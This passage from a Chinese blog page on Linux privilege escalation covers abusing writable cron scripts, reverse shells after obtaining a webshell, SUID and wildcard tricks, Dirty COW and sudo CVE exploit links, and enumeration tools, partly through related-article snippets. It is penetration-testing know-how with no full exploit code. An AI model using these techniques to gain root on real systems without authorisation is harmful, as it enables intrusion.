    0x04 计划任务

    linux系统内有一些定时执行的任务,可以通过crontab来管理。普通用户无法查看root用户的计划任务,但可以

    ls -l /etc/cron*
    

    来查看/etc内的系统任务。

    如果发现某脚本有着普通用户可写的权限(概率极低),我们就可以通过修改该脚本进行提权。

    0x05 反弹shell

    某些特殊情况下(ip动态改变,防火墙限制,等等)需要让目标服务器主动连接我们,这时候就需要用到反弹shell,如果手里只有webshell可以利用反弹shell来得到一个shell。

    反弹shell也是有着多种利用方法,需要根据具体目标服务器的环境来选择不同的方式反弹shell。

    0x06 总结

    • 加强对linux系统用户、组、各种权限的理解,能够帮助进行提权。
    • 信息收集是最开始也是最重要的一步,在开始提权前一定要先收集齐必要的信息。
    • 结合各种提权方法,必要时可以综合利用。
    展开全文
  • https://www.vulnhub.com/entry/tr0ll-1,100/ nat网络 arp-scan -...可以参考这个htb的solidstate 这次我就简单提,拿版本漏洞提就行了…这样我可以多记住一个有漏洞的版本以及对应的提权文件,下次再碰到直接用.省时间…
  • 文章目录收集信息工具LinEnumlinuxprivcheckerlinux-exploit-suggesterlinux-exploit-suggester2内核提权方法suid提权方法 收集信息工具 LinEnum 工具地址: https://github.com/rebootuser/LinEnum 直接运行.sh文件...
  • Linux系统提权思路

    万次阅读 2017-03-22 11:22:08
    渗透测试过程中,拿到Webshell之后,常规都会去看一下系统是啥权限。这里主要讨论Linux系统的一些思路。 常规思路不用说了,先查看Linux内核版本,然后...这篇老外的文章,介绍了常规的三种提权思路,第一种就是内核e
  • 拿到linux服务器的webshell后,先看有没有执行命令的权限 uname -a查看linux的内核版本 gcc --help试探服务器是否可以进行gcc编译(有些exp没有编译) 访问/tmp目录,看是否有所有权限 如果没有,则通过 chmod -R ...
  • linux提权-SUID提权

    2019-07-15 10:26:26
    SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。 已知的可用来提权linux可行性的文件列表...
  • 参考Freebuf上的提权文章(利用通配符进行Linux本地提权):http://www.freebuf.com/articles/system/176255.html 以两个例子的形式进行记录,作为备忘: 0x01 Chown的--reference特性 存在三个用户:root、yunsle和...
  • linux提权

    2021-01-25 11:41:17
    我从docker逃匿->dirty cow->linux提权 。。。。。
  • 下面笔者反其道而行之进行及Linux下的提权。一、windows下获取至高权限大家知道,在Windows系统中SYSTEM是至高无上的超级管理员帐户。默认情况下,我们无法直接在登录对话框上以SYSTEM帐户的身份登录到Windows桌面...
  • Linux提权

    2021-01-18 22:04:25
    脏牛提权漏洞复现 漏洞内容: ...黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。 利用条件 黑客通过远程入侵获取低权限用户后,才能
  • Linux提权的一些基本思路

    千次阅读 2012-05-15 16:15:41
    Not every command will work for each system as Linux varies so much. "It" will not jump off the screen - you've to hunt for that "little thing" as " the devil is in the detail ".Form HiRoot‘s ...
  • linux提权专题

    2021-09-27 19:04:38
    sudo提权漏洞-cve-2021-31562.1 利用3. suid提权使用find命令发现配置SUID的文件findlessvimmorebashgit 1. 脏牛-cve-2016-5195 exp1:https://github.com/FireFart/dirtycow exp2:...
  • 下面笔者反其道而行之进行Windows及Linux下的提权测试。一、windows下获取至高权限大家知道,在Windows系统中SYSTEM是至高无上的超级管理员帐户。默认情况下,我们无法直接在登录对话框上以SYSTEM帐户的身份登录到...
  • Linux提权总结

    千次阅读 2019-07-24 23:16:05
    Linux提权之前,我们先看看与Linux有关的一些知识: 我们常说的Linux系统,指的是Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群,大类有以下几种...
  • 我做的是linux本地提权漏洞的复现。但本地提权漏洞并不像其他web漏洞一样,可以直接pull一个docker镜像就ok了,提权的洞复杂在于配置环境,基本都是在虚拟机里复现,一个镜像的大...
  • linux提权总结

    2021-07-29 10:52:24
    命令提权 GTFOBins https://github.com/diego-treitos/linux-smart-enumeration https://github.com/sleventyeleven/linuxprivchecker https://github.com/mzet-/linux-exploit-suggester
  • 本文作者:VoltCary(信安之路 2019 年度首次投稿)获得奖励:免费邀请加入信安之路知识星球+邀请加入信安之路核心群+90sec 论坛邀请码这篇讲一些关于 Linux 提权的方法,也是参考网上的一些提权方式,对于刚接触 ...
  • Linux提权备忘录

    2020-10-21 08:16:35
    reload journalctl -u mytimer 查看 mytimer.timer 和 mytimer.service 的日志 详细原理:https://www.linuxidc.com/Linux/2019-05/158599.htm  六、内核漏洞 内核提权漏洞(依靠EXP) 1. 在exploit-db、或者其他...
  • Linux 提权的各种姿势总结

    千次阅读 2020-02-21 16:38:06
    这篇讲一些关于 Linux 提权的方法,也是参考网上的一些提权方式,对于刚接触 Linux 提权的伙伴来说,需要花不少时间去理解,所以这里是以个人通俗易懂的思路去写,希望能帮到热爱学习的朋友,先写这些提权方法。...
  • 没啥技术含量,一种思路,让某些得到Root权限WebShell的同学可以快点拿到权限。 某日拿到某站WebShell,...具体提权思路: 1.WebShell直接替换Root密码:/etc/shadow //记得备份 2.允许Root通过ssh登陆: 修改...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,804
精华内容 2,321
关键字:

linux提权思路

linux 订阅